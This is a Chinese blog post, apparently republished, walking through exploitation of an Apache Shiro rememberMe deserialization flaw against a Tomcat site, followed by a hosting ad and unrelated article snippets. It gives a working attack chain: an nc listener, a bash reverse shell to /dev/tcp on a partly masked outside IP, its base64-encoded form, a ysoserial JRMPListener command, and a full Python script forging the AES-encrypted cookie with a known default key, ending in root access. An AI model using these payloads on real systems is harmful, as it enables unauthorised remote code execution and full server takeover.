shiro漏洞利用_入门

摘要:
您可以看到响应包中有一个删除。此时,你可以在50057看到东西,同时,你可以看到炮弹在50058回来(可能有点延迟。建议稍等片刻)。它是直接根权限

拿到站点后发现是tomcat的,找了一圈找不到点进去,给学长看了一下,似乎是有个shiro可以利用

于是乎就去临时学习了一下

参考bypass的博客:https://www.cnblogs.com/xiaozi/p/13239046.html

1、java -jar .shiro_tool.jar url

检测结果

shiro漏洞利用_入门第1张

 2、服务器监听一个端口50058,这个是拿来反弹shell的

nc -lvnp 50058

反弹shell 命令:bash -i >& /dev/tcp/39.99.xx.xx/50058 0>&1
利用网站http://www.jackson-t.ca/runtime-exec-payloads.html对命令进行编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT这是马赛克==}|{base64,-d}|{bash,-i}

3、使用这个大佬的工具:https://github.com/insightglacier/Shiro_exploit

在服务器上新建一个ssh会话,执行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 50057 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT这是马赛克==}|{base64,-d}|{bash,-i}'

这个端口50057是用来监听并反弹shell的,反弹到刚刚的50058端口上

shiro漏洞利用_入门第2张

4、准备一个shiro.py,代码如下。用来构造数据包

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #找到的key
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
    print("rememberMe={0}".format(payload.decode()))

执行python shiro.py 39.99.xx.xx:50057

这里选择的端口是执行jar文件监听的端口,而不是用nc监听的那个

生成数据包

shiro漏洞利用_入门第3张

 用bp在网站登陆页面抓个包,在cookie中添加构造的参数,发送。可以看到响应包中有一个deleteme

shiro漏洞利用_入门第4张

 这时候在50057可以看到东西,

shiro漏洞利用_入门第5张

 同时在50058可以看到shell回来了(可能有点延迟。建议等一会)

shiro漏洞利用_入门第6张

 直接就是root权限

shiro漏洞利用_入门第7张



 

免责声明:文章转载自《shiro漏洞利用_入门》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇代码实现:将一个正整数分解质因数。例如:输入90,打印出90=2*3*3*5visual studio 2010 和 VSS(Visual SourceSafe)的连接使用下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Data URI

我们常常会看到网页上有些图片或者css的background-image后跟了一堆的字符串,类似这样子: data:image/jpeg;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZG...wxMDIZz4NCjwvc3ZnPg== 这个就是Data URI scheme。 Data URI scheme是在RFC239...

企业微信会话存档消息解密(Java RSA PKCS1解密)

https://www.cnblogs.com/eleclsc/p/12082000.html 转:https://www.cnblogs.com/zengsf/p/10136886.html 在线rsa加解密工具:http://tool.chacuo.net/cryptrsaprikey 在linux环境中生成公私钥: openssl然后生成私钥: ge...

jenkins pipeline实现自动构建并部署至k8s

在日常开发中,经常会有发布的需求,而且经常会碰到各种环境,比如:开发环境、测试环境、生产环境。虽然可以使用手动构建、上传服务器部署的方式,但在微服务架构下一个项目经常包含多个微服务的部署,如果用手动方式就会非常繁琐而且容易出错。使用jenkins结合SCM可以实现代码的整个自动化构建部署过程。 本文中自动构建部署过程大致完成了以下步骤: 提交spring...

spring boot整合shiro

安全框架Shiro和Spring Security比较,本文主要围绕Shiro进行学习 一 Shiro 是一个强大而灵活的开源安全框架,能够清晰的处理认证 授权 管理会话以及,密码加密   01 .认证与授权相关概念     安全实体:  系统需要保护的具体对象数据     权限: 系统相关的功能操作,例如基本的CRUD     Authenticatio...

python subprocess模块

一、subprocess以及常用的封装函数运行python的时候,我们都是在创建并运行一个进程。像Linux进程那样,一个进程可以fork一个子进程,并让这个子进程exec另外一个程序。在Python中,我们通过标准库中的subprocess包来fork一个子进程,并运行一个外部的程序。subprocess包中定义有数个创建子进程的函数,这些函数分别以不同...

Java实现BASE64编解码器

Java实现BASE64编解码器 笔者:chszs,转载注明。博客首页:http://blog.csdn.net/chszs BASE64和其它类似的编码算法通经常使用于转换二进制数据为文本数据,其目的是为了简化存储或传输。更详细地说,BASE64算法主要用于转换二进制数据为ASCII字符串格式。 Java语言提供了一个很好的BASE64算法的实现,即A...